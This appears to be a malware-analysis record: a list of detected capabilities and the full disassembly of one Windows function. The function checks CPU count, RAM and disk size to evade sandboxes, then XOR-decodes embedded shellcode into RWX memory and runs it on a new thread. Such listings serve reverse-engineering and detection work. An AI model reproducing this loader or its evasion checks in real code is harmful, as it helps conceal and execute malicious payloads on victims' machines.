Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Get memory capacity
Get system information on windows
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x2b8
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
lea rcx, [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x290], 2
jae 0x14000104e
mov eax, 1
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.140001390
add rsp, 0x2b8
ret
lea rcx, [rsp + 0x230]
mov dword [rsp + 0x230], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x238]
shr rax, 0x14
cmp eax, 0x800
jae 0x140001097
mov eax, 2
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.140001390
add rsp, 0x2b8
ret
mov qword [rsp + 0x2c0], rbx
lea rcx, str..PhysicalDrive0
mov ebx, 3
mov qword [rsp + 0x2b0], rdi
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov r8d, ebx
mov dword [rsp + 0x28], edi
xor edx, edx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x210]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
lea rcx, [rsp + 0x218]
mov dword [rsp + 0x28], 0x18
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rax
mov edx, 0x70000
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rsp + 0x228]
mov eax, dword [rsp + 0x22c]
imul rax, rcx
mov ecx, dword [rsp + 0x224]
imul rax, rcx
imul rax, qword [rsp + 0x218]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x64
jae 0x14000114c
mov eax, ebx
jmp 0x14000134f
lea rcx, [rsp + 0x40]
mov rax, rbx
lea rdx, [0x1400032b0]
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001160
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x40]
mov r8d, 0x3000
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmmword [rcx + 0x30], xmm1
mov qword [rcx + 0x40], rax
mov eax, dword [rdx + 0x48]
mov dword [rcx + 0x48], eax
movzx eax, byte [rdx + 0x4c]
mov edx, 0x1cd
mov byte [rcx + 0x4c], al
xor ecx, ecx
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rcx, [rsp + 0x40]
mov rdx, rax
nop dword [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rbx, 1
jne 0x140001210
mov rax, qword [rcx + 0x40]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movdqa xmm2, xmmword [str.5555555555555555_]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmmword [rdx + 0x30], xmm1
mov qword [rdx + 0x40], rax
mov eax, dword [rcx + 0x48]
mov dword [rdx + 0x48], eax
movzx eax, byte [rcx + 0x4c]
mov ecx, edi
mov byte [rdx + 0x4c], al
lea rax, [r8 + 0x20]
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add ecx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x60], xmm1
movdqu xmm0, xmmword [rax - 0x50]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
cmp ecx, 0x1c0
jb 0x1400012b0
movsxd rax, ecx
cmp rax, 0x1cd
jae 0x140001321
add rax, r8
nop dword [rax]
xor byte [rax], 0x35
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x1cd
jb 0x140001310
lea rax, [rsp + 0x214]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rbx, qword [rsp + 0x2c0]
mov rdi, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.140001390
add rsp, 0x2b8
ret